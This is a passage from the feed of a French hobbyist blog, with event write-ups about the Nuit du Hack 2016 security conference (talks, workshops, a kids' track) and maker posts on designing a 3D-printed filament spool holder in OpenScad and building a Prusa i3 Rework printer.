prendre le contrôle de ceux-ci en abusant du GSM à l'aide de SDR et de fausse station GSM. Les démonstrations sous forme de vidéo étaient funs et démontraient bien les risques encourus. Toutefois, les bons vieux passes PTT ou le vieillissant système Vigik peuvent être des vecteurs d'intrusion tout aussi efficace, et nécessitant moins de moyens.&lt;/p&gt;
&lt;p&gt;La conférence suivante consacrée au crochetage improvisé était tout bonnement impressionnante: c'est exactement ce que j'attendais de celle-ci. Ouverture de cadenas avec des &lt;em&gt;shims&lt;/em&gt; fait maison (à la MacGyver), forçage de porte au ceintre, les moyens rudimentaires y étaient et ça fait plaisir de voir une approche pragmatique de l'ouverture de portes et serrures ! C'est la dernière conférence que j'ai pu voir, car je suis allé manger assez tôt afin de terminer les préparatifs matériels de ma présentation (prévue à 21h15). Celle-ci s'est déroulée sans encombre, et j'ai eu plusieurs retours positifs ce qui fait toujours plaisir.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Les workshops&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;J'ai enchainé rapidement mon talk avec un workshop intitulé &amp;quot;Pimp My Badge&amp;quot;, présentant le badge électronique de l'année dernière (à défaut d'en avoir un cette année) et les moyens de le bidouiller. Ca a été l'occasion de mettre un peu à jour la &lt;a class="reference external" href="https://github.com/virtualabs/Ndh15Badge-library"&gt;bibliothèque standard&lt;/a&gt; et d'ajouter quelques exemples.&lt;/p&gt;
&lt;p&gt;Comme chaque année, l'atelier de crochetage de serrures a rencontré un franc succès et nombreux étaient ceux voulant s'y essayer. &lt;a class="reference external" href="https://blog.didierstevens.com/"&gt;Didier Stevens,&lt;/a&gt; l'auteur de OleDump notamment, animait un workshop sur l'analyse de documents malveillants à l'aide (certainement) de ses outils. Je n'ai pas pu le suivre malheureusement, mais il semblait très intéressant.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;La NDH Kids&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Contrairement aux années précédentes, je n'ai pas animé d'atelier durant la NDH Kids. Mais j'en ai eu de très bons échos: des collègues et amis ayant participé ou ayant des enfants qui y ont participé en sont revenus ravis. Les ateliers étaient diversifiés: initiation à la cryptographie, programmation de Lego Mindstorms, Initiation à l'électronique et à la soudure électronique, architecture d'un ordinateur, ... Avec en plus des &lt;a class="reference external" href="https://www.google.fr/search?q=bean+bag&amp;amp;safe=strict&amp;amp;source=lnms&amp;amp;tbm=isch&amp;amp;sa=X&amp;amp;ved=0ahUKEwiH6cGfldrNAhVBGsAKHWelAIEQ_AUICSgC&amp;amp;biw=958&amp;amp;bih=991"&gt;bean bags&lt;/a&gt; et une borne d'arcade !&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Un grand merci&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;J'ai passé un excellent moment, à la fois en tant que participant mais aussi en tant que conférencier. Il est bon de retrouver une organisation comme celle de cette édition,  fluide et sans accrocs, malgré la paranoia sécuritaire que l'on a pu observer lors de l'arrivée (scans aux rayons X, détecteurs de métaux, fouille de sacs). Et il y avait du Club Mate ! Bref, on remet ça l'année prochaine, et il y aura du lourd, du très très lourd (© Michel &amp;amp; Michel)&lt;/p&gt;
</content><category term="Geekeries"/><category term="nuit du hack"/><category term="event"/><category term="évènement"/><category term="sécurité"/><category term="HZV"/></entry><entry><title>La Nuit du Hack 2016, c'est dans deux semaines !</title><link href="https://virtualabs.fr/geekeries/La-Nuit-du-Hack-2016-c-est-dans" rel="alternate"/><published>2016-06-17T15:11:27+02:00</published><updated>2016-06-17T15:11:27+02:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2016-06-17:/geekeries/La-Nuit-du-Hack-2016-c-est-dans</id><summary type="html">&lt;p&gt;La quatorzième édition de la Nuit du Hack arrive à grands pas et se déroulera les 2 et 3 Juillet prochain à Disneyland Paris. Après un passage éclair à l'Académie Fratellini l'année dernière, l'évènement est de retour au pays de Mickey avec des conférences, des ateliers et des challenges, la …&lt;/p&gt;</summary><content type="html">&lt;p&gt;La quatorzième édition de la Nuit du Hack arrive à grands pas et se déroulera les 2 et 3 Juillet prochain à Disneyland Paris. Après un passage éclair à l'Académie Fratellini l'année dernière, l'évènement est de retour au pays de Mickey avec des conférences, des ateliers et des challenges, la routine habituelle quoi. L'occasion de découvrir ce qu'est le hacking, voire d'approfondir ses connaissances en sécurité informatique, en bidouillage matériel, en impression 3D, en lockpicking, et même de rencontrer des vraies personnes !&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Les nouveautés du cru 2016&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Cette année, plusieurs nouveautés ont été pensées par les organisateurs. La première d'entre elles (et à mon sens non la moindre) concerne l'aménagement des talks qui débutent à 10h00 le matin pour terminer vers 23h00, avec tout plein de pauses de prévues pour échanger, manger, boire, et tailler une bavette avec les conférenciers. C'est plutôt appréciable pour ceux qui ont connu le rush des années précédentes.&lt;/p&gt;
&lt;p&gt;Autre nouveauté, la Nuit du Hack s'étend! Tout l'espace de conférence du New York Hotel est réservé pour l'évènement, ce qui doit représenter environ 5000 mètres carré dédié à la Nuit du Hack, avec des zones spécifiques à chaque partie: une zone pour le wargame, une zone pour les conférences, une autre pour le CTF privé, etc... Ce qui veut aussi dire plus de place pour circuler, se poser, et pas de changement de disposition de la salle principale.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Les trucs à ne pas rater&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Comme chaque année, il y a quelques pépites à ne pas louper dans les conférences et les ateliers. J'en ai repéré quelques unes que je vous recommande chaudement.&lt;/p&gt;
&lt;p&gt;Côté conférences, celle de Renaud Lifchitz intitulée &lt;em&gt;Revue de sécurité du protocole ZigBee d'une box TV française&lt;/em&gt; semble prometteuse: j'avais déjà analysé et présenté en catimini il y a quelques années une étude d'une box TV française (et c'était pas glorieux), je pense qu'on devrait avoir la même chose avec en plus un aperçu du protocole ZigBee.&lt;/p&gt;
&lt;p&gt;Du côté du hardware, la conférence de Sebastien Dudek intitulée &lt;em&gt;House intercoms attacks, when frontdoors become backdoors&lt;/em&gt; (ou &amp;quot;Attaques des interphones, quand les portes d'entrée deviennent des portes dérobées&amp;quot;) semble elle aussi très intéressante et mérite de s'y attarder. On peut s'attendre à y voir des attaques matérielles, un décortiquage d'interphone et des conséquences désastreuses sur la sécurité.&lt;/p&gt;
&lt;p&gt;Enfin, la conférence de Olga Kochetova intitulée &lt;em&gt;Trust No One. ATMs and their dirty little secrets&lt;/em&gt; présentera les petits secrets des distributeurs de billets, du réseau de communication sur lequel ils sont interconnectés jusqu'aux attaques matérielles et logicielles développées par des braqueurs d'une nouvelle génération. Ca promet d'être instructif !&lt;/p&gt;
&lt;p&gt;En ce qui concerne les workshops (ateliers), je recommande les suivants:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Make you own Arduino avec DTRE&lt;/li&gt;
&lt;li&gt;Hack The Tank avec DTRE&lt;/li&gt;
&lt;li&gt;Practical Android Malware Analysis avec PaulSec&lt;/li&gt;
&lt;li&gt;Analyzing Malicious Office Documents avec Didier STEVENS&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ne loupez pas le dernier de ma liste, Didier Stevens est l'auteur d'outils comme &lt;em&gt;oledump&lt;/em&gt; très utiles lors d'investigations numériques et une très bonne source d'information quant à l'analyse de fichiers Office malveillants. Bon par contre ça sera en anglais et faudra suivre, mais à ne pas louper !&lt;/p&gt;
&lt;p&gt;De mon côté, je vais aussi animer un petit workshop sur la conception du badge électronique de la dernière édition, si vous en avez eu un l'année dernière et que vous souhaitez explorer ses fonctionnalités, c'est l'occasion de l'amener et de découvrir comment développer sur celui-ci ! Je donnerai des exemples (code source inclus) afin de transformer le badge en gadget utile :).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Socialisons&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Autre grande nouveauté cette année, j'ai limité mon implication dans l'évènement afin de pouvoir (enfin) en profiter et socialiser ! Soyons honnêtes, cela fait presque 8 ans que je n'ai pas profité à fond de l'évènement et pu discuter avec tout plein de gens (et accessoirement boire des bières). Je pense que plusieurs d'entre vous se reconnaîtront, pour avoir essayé de me payer des coups alors que j'étais en plein rush :D. Bref, cette année, je prends mon temps.&lt;/p&gt;
&lt;p&gt;On se retrouve là-bas !&lt;/p&gt;
</content><category term="Geekeries"/></entry><entry><title>Premiers vrais pas et challenges dans le "making"</title><link href="https://virtualabs.fr/geekeries/La-mecanique-du-maker" rel="alternate"/><published>2016-01-15T09:00:00+01:00</published><updated>2016-01-15T09:00:00+01:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2016-01-15:/geekeries/La-mecanique-du-maker</id><summary type="html">&lt;p&gt;Cela va faire quelques mois que je me suis plongé dans l'impression 3D, à la fois pour découvrir le monde des RepRap (ces imprimantes opensource permettant le prototypage rapide) mais aussi pour avoir un nouveau terrain de jeu. Du coup, c'est tout plein de possibilités et de challenges qui s'offrent …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Cela va faire quelques mois que je me suis plongé dans l'impression 3D, à la fois pour découvrir le monde des RepRap (ces imprimantes opensource permettant le prototypage rapide) mais aussi pour avoir un nouveau terrain de jeu. Du coup, c'est tout plein de possibilités et de challenges qui s'offrent au hacker curieux que je suis !&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Un autre compilateur&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A l'instar d'un compilateur, l'imprimante 3D permet de donner vie à des idées. Plus que cela, elle se révèle être un outil permettant de créer ses outils. Mon intérêt quant à cet objet est donc important, similaire à celui que j'ai eu lorsque j'ai découvert la programmation. A cette époque j'avais plein d'idées d'outils à mettre au point, et la programmation m'a permis de concrétiser cela. Dès lors, plus aucune limite: je pouvais combler le manque d'un outil par la programmation, moyennant quelques efforts de conception et d'implémentation. Je redécouvre cela avec mon imprimante 3D. L'analogie avec le compilateur n'est pas anodine car ces derniers temps je m'essaie à OpenScad, un outil fabuleux permettant de littéralement &lt;em&gt;programmer&lt;/em&gt; ses pièces. Du code pour produire des pièces réelles, c'est simplement efficace !&lt;/p&gt;
&lt;p&gt;A force d'utiliser mon imprimante 3D, j'ai eu des idées de pièces (des outils en quelque sorte) qui pourraient me simplifier la vie, de corrections de petits défauts de mon imprimante ou encore des idées de projets assez fun. J'ai commencé à modéliser des pièces selon mes premières idées, avec un résultat fonctionnel (cf. mon billet précédent), et j'en étais déjà très content ! Mais j'ai aussi rapidement compris que non seulement une imprimante 3D était capricieuse, mais qu'en plus la conception des pièces avait à la fois une influence sur le temps d'impression, la quantité de filament consommé et la résistance des pièces finales. Rien que cela. C'est à ce moment que j'ai compris que créer une pièce résistante qui consomme le moins de filament possible tout en assurant un temps d'impression relativement court relève du défi.&lt;/p&gt;
&lt;p&gt;Surtout lorsque je me suis mis en tête de créer mon propre support de bobine de filament de plastique, parce que bon, aucune ne me convenait (il fallait à chaque fois plusieurs pièces supplémentaires commes des vis spécifiques, des écrous, des roulements, des tiges filetées, etc ...). Les ennuis ont commencé à ce moment précis (pour mon plus grand bonheur).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Les dures lois de la mécanique&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Avant d'entrer plus dans les détails des contraintes de la conception de pièce 3D à destination d'une imprimante 3D par dépôt de fil, je dois préciser tout de même certains pré-requis en terme de mécanique.&lt;/p&gt;
&lt;p&gt;La première chose que l'on m'a enseigné en mécanique durant mes années de Première et Terminale S option Sciences de l'Ingénieur a été &lt;a class="reference external" href="https://fr.wikipedia.org/wiki/Liaison_(m%C3%A9canique)"&gt;les différents types de liaisons existantes&lt;/a&gt;. Tant que l'on ne conçoit pas réellement de système mécanique, on ne voit pas l'intérêt de connaître ces liaisons, tout comme la réalisation de ces différentes liaisons en pratique.&lt;/p&gt;
&lt;p&gt;Prenons l'exemple de mon support de bobine: il nous faut donc un assemblage de pièces permettant une rotation sur un axe (on parle alors d'un degré de liberté) et seulement cette rotation. La liaison équivalente est un &lt;em&gt;pivot&lt;/em&gt;, qui n'autorise qu'un degré de liberté. Bon, ça c'est la théorie. En pratique, il semble nécessaire d'utiliser au moins un roulement à bille pour assurer une rotation optimale, comme c'est le cas pour plusieurs pièces de l'imprimante.&lt;/p&gt;
&lt;p&gt;Le hic, c'est qu'on ne peut pas en utiliser qu'un seul, car le jeu (même minime) du roulement fait que la liaison associée n'est pas un pivot mais une rotule. Autrement dit, si on envisage de monter un axe de rotation vertical supportant la bobine, il a de grandes chances de basculer d'un côté ou de l'autre et donc de ne pas remplir son office. C'est pourquoi on emploie généralement au moins deux roulements montés sur un même axe quand on cherche à réaliser ce genre de liaison. Or qui dit utiliser un axe dit employer de la tige filetée ou pire, un axe en plastique imprimé ou une tige lisse (qui coûte les yeux de la tête). Cet &lt;a class="reference external" href="http://www.thingiverse.com/thing:9559"&gt;exemple sur Thingiverse&lt;/a&gt; ou encore [celui-là-&amp;gt;http://www.thingiverse.com/thing:545954] montrent bien la solution communément adoptée.&lt;/p&gt;
&lt;p&gt;Or je m'étais fixé des contraintes spécifiques quant à mon support de bobine:
*  montage/démontage facile
*  si possible sans vis/écrou/tige filetée
*  utilisation de roulements en surplus type 608zz
*  support d'un maximum de diamètres de bobines&lt;/p&gt;
&lt;p&gt;Aucun des supports que j'ai trouvé sur Thingiverse ne remplit ces critères, par contre &lt;a class="reference external" href="http://www.reprap-france.com/produit/1234568322-imprimante-3d-micro-delta-revision-1-1"&gt;l'imprimante micro delta d'Emotion Tech&lt;/a&gt; que j'ai eu l'occasion d'apercevoir au dernier Toulouse Hacker Space Factory utilise un mécanisme reposant sur trois roulements servant à faire pivoter la bobine, associés à trois butées. Seule la rotation sur l'axe vertical est possible (la translation étant supprimée du fait de la gravité). C'est l'équivalent d'une liaison pivot, mise en oeuvre à l'aide de trois roulements. Ce principe m'a semblé très intelligent, et j'ai donc décidé de m'en inspirer pour mon design.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Début de conception&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Après avoir gratté pas mal de schémas sur papier, j'ai fini par avoir une idée précise du fonctionnement de mon support.&lt;/p&gt;
&lt;img alt="" src="/images/support-bobine-profil.png" /&gt;
&lt;p&gt;Le support est constitué d'une base à trois pieds, suffisamment large pour éviter le basculement, et chaque pied supporte un roulement en son extrémité. Le roulement est incliné de 45° vers le centre du support, ce qui permet de supporter un plateau tout en empêchant la translation sur deux axes (X et Y). On peut très aisément choisir un plateau adapté au diamètre de la bobine: le fait que le plateau soit posé sur les trois roulements permet une manipulation simple et un changement rapide.&lt;/p&gt;
&lt;p&gt;Afin d'éviter toute vis et écrou, j'ai pris la décision de faire en sorte que les roulements soient clipsables, c'est à dire que les axes supportant ces derniers ressemblent à ceux de cette pièce Lego:&lt;/p&gt;
&lt;img alt="Exemple d'axe avec clips" src="/images/axe-clip.jpg" /&gt;
&lt;p&gt;En théorie, cette conception semblait parfaite.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Première réalisation, premier fail&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Avant de me lancer dans la réalisation du trépied de support, j'ai d'abord conçu le support de roulement clipsable. Je l'ai par la suite imprimé, et il m'a bien fallu trois essais afin d'arriver à trouver les bons ajustements permettant une insertion aisée tout en assurant un maintien en place efficace.&lt;/p&gt;
&lt;img alt="Pièce de test de support de roulement" src="/images/clip-bearing-final.jpg" /&gt;
&lt;p&gt;Une fois ce support testé et approuvé, je l'ai intégré sur un montage de trépied, sans grande difficulté. Je l'ai ensuite imprimé, et testé malgré un plantage de l'ordinateur en cours d'impression (ce qui explique que les axes ne soient pas terminés, mais même avec cela ça fonctionne parfaitement). J'ai par ailleurs conçu une première version du plateau, que j'ai imprimé et testé. Et c'est là que tout a commencé à ... pas marcher.&lt;/p&gt;
&lt;p&gt;Un des inconvénients de l'impression 3D par dépôt de filament est que la précision de l'imprimante varie selon la précision de la mécanique (liée aux courroies, réglages moteurs et accélérations/décélération subies) mais aussi selon la précision du filament. En effet le diamètre de ce dernier peut ne pas être constant, et la quantité de plastique apportée varier en conséquence. Il en résulte des surfaces relativement propres, mais qui d'un point de vue micrométrique possèdent des imperfections.&lt;/p&gt;
&lt;p&gt;Rappelez-vous, j'utilise trois roulements pour réaliser une liaison pivot théoriquement parfaite, sauf qu'avec ces imperfections la surface de contact entre le plateau et un roulement se résume à un seul point: c'est une liaison appui-plan, et c'est le drame ! En effet, trois appuis-plan sur trois plans inclinés à 45° et concourant forment une liaison rotule et non une liaison pivot. Ce qui devait arriver arriva: lorsque j'ai testé en conditions réelles mon support, le plateau ne faisait que basculer comme un &lt;a class="reference external" href="http://www.papouille.com/2502-460-thickbox/culbuto-clown.jpg"&gt;culbuto&lt;/a&gt;. Inutilisable en l'état.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Seconde conception&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;En considérant donc mes trois roulements en liaison rotule avec le plateau, il me fallait ajouter un appui-plan pour former un équivalent de liaison pivot. En gros, assurer un ou plusieurs appuis afin d'éviter tout basculement. Ce problème fut donc résolu en faisant en sorte que la partie horizontale du plateau entre en contact avec la bague extérieure du roulement, assurant ainsi un appui-plan d'un côté et rotule de l'autre. Autrement dit, une véritable liaison pivot.&lt;/p&gt;
&lt;p&gt;Afin d'assurer l'appui-plan, il m'a fallu ajouter une tolérance entre la partie en contact avec les roulements et les roulements: un ajustement trop serré aurait eu pour conséquence de former à nouveau une liaison rotule. En autorisant une très légère translation (un jeu) sur les axes X et Y on assure le bon fonctionnement du mécanisme tout en permettant une qualité d'impression variable (dans les limites du tolérable).&lt;/p&gt;
&lt;p&gt;En contrepartie, le roulement subit un effort radial et axial, mais le type de roulement choisi encaisse sans encombre ces efforts, tout comme le trépied qui les supporte.&lt;/p&gt;
&lt;p&gt;Il me restait toutefois un problème: comment concevoir un disque imprimable sur une imprimante 3D ayant des anneaux des deux côtés ? Il faut bien avoir une bague centrale afin d'éviter toute translation de la bobine et assurer la rotation du plateau, cependant il y a aussi de l'autre côté du plateau un anneau dont un des pans est incliné à 45° et qui repose sur les roulements. Impossible d'imprimer sur une surface plane en l'état: on ne peut déposer de matière en suspension.&lt;/p&gt;
&lt;p&gt;Si l'on ne peut pas imprimer la pièce en un bloc, on peut tout de même la décomposer en deux pièces faciles d'impression qui peuvent être par la suite assemblées: une première pièce est constituée du plateau et du support incliné sur lequel vont reposer les roulements tandis que la seconde est une bague surmontée d'ergots venant s'enficher dans le plateau, dans lequel on aura prévu des trous adéquats. Grâce à cette astuce, aucune vis ni écrou: la bague est insérée de force dans les trous, et le tout tient en place grâce à la flexibilité du PLA. Et le tout est facilement imprimable.&lt;/p&gt;
&lt;p&gt;Le design final du support de bobine est donc le suivant:&lt;/p&gt;
&lt;img alt="Version finale du support de bobine" src="/images/support-bobine-final.png" /&gt;
&lt;p&gt;&lt;strong&gt;Optimisation des pièces&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Cette seconde version de mon support de bobine a demandé environ quatre heures d'impression cumulées, ce qui est beaucoup vu les pièces. Il y a plusieurs explications qui justifient cette durée:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;l'impression d'un disque de 1,5mm requiert 8 couches, les 3 premières et 3 dernières étant pleines (selon la configuration par défaut de mon slicer),&lt;/li&gt;
&lt;li&gt;l'épaisseur du plateau est de 8.5mm, soit environ 42 couches à imprimer,&lt;/li&gt;
&lt;li&gt;le support des roulements est assez imposant.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Le support seul prend environ 1h40 à imprimer (avec un remplissage à 10%), mais vu les détails requis pour les axes supportant les roulements, ce n'est pas trop cher payé. Le plateau quant à lui prenait initialement le même temps, ce qui est excessif.&lt;/p&gt;
&lt;p&gt;C'est donc ce dernier qui a subit un lifting pour réduire la durée d'impression et la consommation de filament, bien qu'il n'en utilise pas tant que cela. Pour ce faire, j'ai réduit l'épaisseur du support principal à 1 mm, ce qui a trois avantages: réduire la quantité de matière requise et le temps d'impression, mais aussi avoir un nombre de couches exact car j'imprime par couche de 0.2 mm.&lt;/p&gt;
&lt;p&gt;En complément, l'épaisseur globale a été revue à la baisse ce qui fait que ce plateau prend moins d'une heure à être imprimé. Cela fait un total d'environ trois heures pour l'impression du support complet, je ne pense pas pouvoir descendre en dessous sans impacter la robustesse de celui-ci.&lt;/p&gt;
&lt;p&gt;Pour terminer, j'ai tout simplement modifié les axes de support de roulement pour retirer la partie clipsable: l'impression était vraiment horrible, et les segments trop petits pour une impression de précision avec ma Prusa i3. Je les ai remplacés par des axes pleins mais en prenant soin de bien ajuster le diamètre pour que le passage des roulements se fasse sans encombre, tout en assurant un bon maintien.&lt;/p&gt;
&lt;p&gt;Au final, j'ai conçu un support de bobine polyvalent, qui n'a besoin d'aucun élément externe autre que les roulements, qui se monte et se démonte facilement, et qui supporte tout type de bobine du moment que l'on place la bague adéquate sur le plateau.&lt;/p&gt;
&lt;img alt="Support de bobine, version finale" src="/images/support-bobine-final-2.png" /&gt;
&lt;img alt="Le support imprimé prêt à accueillir une bobine" src="/images/support-bobine-resultat.jpg" /&gt;
&lt;p&gt;&lt;strong&gt;OpenScad FTW&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Pour la conception des pièces de mon support de bobine, j'ai utilisé la solution opensource &lt;em&gt;OpenScad&lt;/em&gt;. Ce logiciel permet comme je le disais en introduction de programmer ses pièces à l'aide d'un langage adéquat, ce qui permet de créer des pièces paramétriques (on peut faire varier certaines composantes) et de les générer dynamiquement. Il permet par ailleurs de déboguer/tester/adapter les pièces sans avoir à tout refaire, contrairement à un logiciel de CAD standard.&lt;/p&gt;
&lt;img alt="Conception du support sous OpenScad" src="/images/openscad-exemple.png" /&gt;
&lt;p&gt;Le code source de l'ensemble des pièces est &lt;a class="reference external" href="http://www.thingiverse.com/thing:1269036"&gt;disponible sur Thingiverse&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Hacker ou Maker ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Grâce à ce petit projet j'ai pu replonger dans mes résidus de cours de mécanique, ce qui ne s'est pas fait sans mal, et goûter aux joies du «making». C'est fun, on crée d'une manière différente mais plus concrète, et on apprend. Je crois qu'au final c'est ça l'essentiel: découvrir encore de nouvelles choses et apprendre. Et il me reste encore beaucoup de choses à apprendre !&lt;/p&gt;
</content><category term="Geekeries"/><category term="making"/><category term="reprap"/></entry><entry><title>Premiers retours sur l'impression 3D</title><link href="https://virtualabs.fr/projets/Premiers-retours-sur-l-impression" rel="alternate"/><published>2015-12-04T09:00:00+01:00</published><updated>2015-12-04T09:00:00+01:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2015-12-04:/projets/Premiers-retours-sur-l-impression</id><summary type="html">&lt;p&gt;Il y a de cela quelque temps, je m'étais lancé dans la réalisation d'une imprimante 3D &lt;a class="reference external" href="http://reprap.org/wiki/Prusa_i3_Rework_Introduction/fr"&gt;Prusa i3 Rework&lt;/a&gt;, sans réaliser ce que ça allait avoir comme conséquences et sans garantie de réussite. Afin de mettre toutes les chances de mon côté, j'ai pris mon temps et ai tenté de …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Il y a de cela quelque temps, je m'étais lancé dans la réalisation d'une imprimante 3D &lt;a class="reference external" href="http://reprap.org/wiki/Prusa_i3_Rework_Introduction/fr"&gt;Prusa i3 Rework&lt;/a&gt;, sans réaliser ce que ça allait avoir comme conséquences et sans garantie de réussite. Afin de mettre toutes les chances de mon côté, j'ai pris mon temps et ai tenté de me documenter un maximum. La réalisation de l'imprimante a pris environ 1 an, en avançant doucement et à cause de quelques péripéties familiales (déménagement, etc ...). L'heure est aux premiers constats sur l'impression 3D et &lt;a class="reference external" href="http://reprap.org/wiki/RepRap/fr"&gt;les imprimantes auto-répliquantes&lt;/a&gt; en particulier.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Choix de l'imprimante&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Côté imprimante 3D RepRap à faire soi-même, ce n'est pas le nombre de modèles qui manque: chacun y va de sa version modifiée, tantôt complètement en profilé aluminium tantôt en bois, avec différentes pièces pas forcément compatibles. Bienvenue dans le Capharnaüm des imprimantes 3D. Après pas mal de recherche sur les Internets, un modèle semblait faire l'unanimité tant par sa conception que par son rapport qualité/prix: la Prusa i3.&lt;/p&gt;
&lt;p&gt;Le hic ? L'imprimante Prusa i3 (comprendre &amp;quot;itération 3&amp;quot;) a tout de même des défauts que l'auteur n'a pas corrigé:
*  pas de support prévu pour les contacteurs de fin de course, faut se débrouiller
*  pas de tendeur de courroie
*  le support d'extrudeur n'est pas parfait&lt;/p&gt;
&lt;p&gt;Bref, quelques défauts qu'une version améliorée par une société Toulousaine (eMotion Tech) et elle-même opensource corrige en partie: la Prusa i3 Rework m'a donc emballé et j'ai opté pour ce modèle.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Réalisation&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Dans la plus pure philosophie RepRap, j'ai commandé un kit de pièces imprimées pour le modèle choisi, et j'ai commandé le reste du matériel sur eBay pour la grande majorité, sauf pour les éléments cruciaux: moteurs pas à pas et extrudeur commandés chez eMotion-Tech (en France donc), et le cadre aluminium de 6mm accompagné de son support de plateau chauffant au Royaume-Uni.&lt;/p&gt;
&lt;p&gt;Puis j'ai réalisé le montage de l'imprimante au fur et à mesure, avec bien sûr quelques erreurs mais au final pas tellement d'écart par rapport au guide de montage officiel.&lt;/p&gt;
&lt;p&gt;Cependant, j'ai pu trouver quelques astuces qu'il me semble intéressant de partager ici , astuces que j'ai trouvé par hasard,  ou grâce au concours de collègues et amis.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Réglage du plateau en Z&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Normalement, le guide de montage indique de régler la position du contacteur de fin de course à chaque manipulation de la tête d'impression (extrudeur compris). Mais il n'y a rien de pire à faire: le support du contacteur de l'axe Z est juste infernal sur la Prusa i3 Rework. Pourquoi ? Simplement parce qu'il a été très mal pensé: les vise de fixation (ou les écrous, au choix) sont placés entre le support et le cadre aluminium, sans aucune place pour des outils. Bon courage pour serrer les vis. On n'a donc pas envie d'y toucher toutes les cinq minutes, vu la galère que c'est. A côté de ça, le plateau est censé être monté sur une rangée de 3 rondelles aux quatre coins. Tout irait bien si le plateau était résolument horizontal, ce qui a peu de chances d'être le cas sur une imprimante faite maison.&lt;/p&gt;
&lt;p&gt;C'est pourquoi j'ai décidé de monter le plateau sur des ressorts (l'idée n'est pas neuve, notez bien), mais cela implique de trouver les bons ressorts. Et ça, c'est une tâche qui s'est avérée très difficile. J'avais bien pensé à des ressorts de stylos, ou similaire, mais ceux-ci n'avaient que très peu de résistance et le plateau chauffant aurait été mobile. C'est à ce moment que Romain, un collègue, a eu une idée de génie: réutiliser les ressorts des supports de pile de vieux appareils. Ces ressorts sont très résistants, et en plus de taille idéale si on désosse le bon appareil.&lt;/p&gt;
&lt;p&gt;Une fois le plateau réglable en hauteur grâce aux ressorts, il est judicieux d'imprimer des molettes de réglages permettant d'insérer un écrou M3 en leur centre, ce qui facilite grandement le réglage de la hauteur du plateau, ainsi que le montage/démontage (cela s'est avéré très utile par la suite).&lt;/p&gt;
&lt;img alt="" src="/images/thumbwheel.jpg" /&gt;
&lt;p&gt;&lt;strong&gt;Imprimer des pièces de rechange&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Je n'y avais pas forcément pensé au départ, mais j'ai vite compris que si je voulais assurer une longue vie à mon imprimante (et surtout pas me retrouver avec une imprimante en carafe à cause d'une pièce cassée), je devais avoir des pièces de rechange. Une mauvaise manipulation, un bug de logiciel, ou un réglage trop serré amène rapidement certaines pièces à casser à cause de contraintes trop fortes ou de mauvais réglages.&lt;/p&gt;
&lt;p&gt;Le côté positif qu'il y a à avoir opté pour une imprimante auto-répliquante, c'est qu'elle est en mesure d'imprimer ses propres pièces. J'ai donc imprimé plusieurs pièces critiques une fois les réglages de l'imprimante à peu près fonctionnels. Pas besoin d'avoir des pièces parfaites, du moment que la taille et la géométrie sont bonnes. Et ça m'a déjà sauvé la mise plusieurs fois depuis que je m'en sers !&lt;/p&gt;
&lt;img alt="" src="/images/spare-parts.jpg" /&gt;
&lt;p&gt;C'est à mon sens un conseil à suivre absolument lorsque l'on se lance dans la réalisation d'une telle imprimante: rien de pire que d'avoir à commander une pièce sur Internet ou attendre 2 semaines de pouvoir en imprimer une pour pouvoir continuer à l'utiliser.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Le réglage impossible: l'extrudeur&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Ca y est, vous avez votre imprimante montée, toute cablée et parée à servir, c'est super ! Mais sans phase de réglages, vous allez imprimer des pièces moisies.&lt;/p&gt;
&lt;p&gt;La phase de réglage (calibration) de l'imprimante est longue et douloureuse. Cela fait presque deux mois que mon imprimante est terminée, et j'arrive encore à améliorer certains paramètres pour avoir de meilleures impressions. Ceci dit, il y a des points essentiels à ne pas négliger, et surtout des erreurs que l'on peut facilement commettre et qui peuvent vous pourrir la vie pendant des semaines.&lt;/p&gt;
&lt;p&gt;Ma première erreur a concerné mon extrudeur. Et c'était une des plus grosses. Durant la phase de calibration, j'avais des résultats plutôt probant en ce qui concernait l'extrudeur et son moteur pas à pas. Je n'ai par contre pas fait attention au réglage des ressorts du galet de l'extrudeur Wade que j'utilise. Et je ne m'en suis rendu compte que bien plus tard.&lt;/p&gt;
